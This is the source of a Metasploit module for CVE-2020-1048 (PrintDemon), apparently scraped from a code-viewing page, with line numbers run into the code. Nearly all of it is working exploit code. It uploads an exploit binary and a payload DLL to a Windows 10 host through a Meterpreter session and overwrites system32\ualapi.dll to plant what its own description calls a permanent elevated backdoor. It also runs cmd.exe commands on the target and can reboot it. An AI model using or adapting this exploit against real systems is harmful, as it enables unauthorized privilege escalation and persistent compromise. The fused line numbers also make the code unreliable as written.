Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/cve_2020_1048_printerdemon.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::Common9include Msf::Post::File10include Msf::Post::Windows::Priv11include Msf::Exploit::EXE1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',18'Description' => %q{19This exploit leverages a file write vulnerability in the print spooler service20which will restart if stopped. Because the service cannot be stopped long21enough to remove the dll, there is no way to remove the dll once22it is loaded by the service. Essentially, on default settings, this module23adds a permanent elevated backdoor.24},25'License' => MSF_LICENSE,26'Author' => [27'Yarden Shafir', # Original discovery28'Alex Ionescu', # Original discovery29'shubham0d', # PoC30'bwatters-r7' # msf module31],32'Platform' => ['win'],33'SessionTypes' => ['meterpreter'],34'Targets' => [35[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]36],37'DefaultTarget' => 0,38'DisclosureDate' => '2019-11-04',39'References' => [40['CVE', '2020-1048'],41['URL', 'https://windows-internals.com/printdemon-cve-2020-1048/']42],43'DefaultOptions' => {44'DisablePayloadHandler' => true45},46'Notes' => {47'Stability' => [ CRASH_OS_RESTARTS ],48'Reliability' => [ UNRELIABLE_SESSION ],49'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]50},51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54stdapi_fs_delete_file55stdapi_sys_config_getenv56]57}58}59)60)6162register_options([63OptString.new('EXPLOIT_NAME',64[true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),65OptString.new('PAYLOAD_NAME',66[true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),67OptString.new('WRITABLE_DIR',68[false, 'Path to write binaries (%TEMP% by default).', nil]),69OptString.new('OVERWRITE_DLL',70[false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),71OptBool.new('RESTART_TARGET',72[true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),73OptInt.new('EXECUTE_DELAY',74[true, 'The number of seconds to delay between file upload and exploit launch', 3])75])76end7778def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit: false)79# Upload Exploit80if target_arch == ARCH_X8681vprint_status('Using x86 binary')82exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe')83else84vprint_status('Using x64 binary')85exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe')86end87vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")88if file?(exploit_path)89print_error("#{exploit_path} already exists")90return false unless force_exploit91end92fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil?93write_file(exploit_path, exploit_bin)94print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")9596# Run Exploit97vprint_status('Running Exploit')98begin99output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}")100rescue Rex::TimeoutError => e101elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)102print_error('Caught timeout. Exploit may be taking longer or it may have failed.')103end104output105end106107def exploit108exploit_name = datastore['EXPLOIT_NAME']109vprint_status("exploit_name = #{exploit_name}")110exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')111payload_name = datastore['PAYLOAD_NAME']112if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty?113win_dir = session.sys.config.getenv('windir')114overwrite_target = "#{win_dir}\\system32\\ualapi.dll"115else116overwrite_target = datastore['OVERWRITE_TARGET']117end118temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')119payload_path = "#{temp_path}\\#{payload_name}"120exploit_path = "#{temp_path}\\#{exploit_name}"121payload_dll = generate_payload_dll122123# Check target124vprint_status('Checking Target')125validate_active_host126validate_payload127fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)128129# Upload Payload130vprint_status('Uploading Payload')131ensure_clean_destination(payload_path)132write_file(payload_path, payload_dll)133print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")134print_warning("This exploit requires manual cleanup of the payload #{payload_path}")135vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit")136sleep(datastore['EXECUTE_DELAY'])137138# Run the exploit139output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture'])140vprint_status("Exploit output:\n#{output}")141sleep(1) # make sure exploit is finished142vprint_status("Removing #{exploit_path}")143session.fs.file.rm(exploit_path)144145# Reboot, if desired146if datastore['RESTART_TARGET']147sleep(10)148vprint_status("Rebooting #{sysinfo['Computer']}")149reboot_command = 'shutdown /r'150begin151cmd_exec('cmd.exe', "/c #{reboot_command}")152rescue Rex::TimeoutError => e153elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)154print_error('Caught timeout. Exploit may be taking longer or it may have failed.')155end156end157end158159def validate_active_host160print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")161rescue Rex::Post::Meterpreter::RequestError => e162elog('Could not connect to session', error: e)163raise Msf::Exploit::Failed, 'Could not connect to session'164end165166def validate_payload167vprint_status("Target Arch = #{sysinfo['Architecture']}")168vprint_status("Payload Arch = #{payload.arch.first}")169unless payload.arch.first == sysinfo['Architecture']170fail_with(Failure::BadConfig, 'Payload arch must match target arch')171end172end173174def check175version = get_version_info176177vprint_status("OS version: #{version}")178return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)179180return Exploit::CheckCode::Safe181end182183def ensure_clean_destination(path)184return unless file?(path)185186print_status("#{path} already exists on the target. Deleting...")187begin188file_rm(path)189print_status("Deleted #{path}")190rescue Rex::Post::Meterpreter::RequestError => e191elog(e)192print_error("Unable to delete #{path}")193end194end195end196197198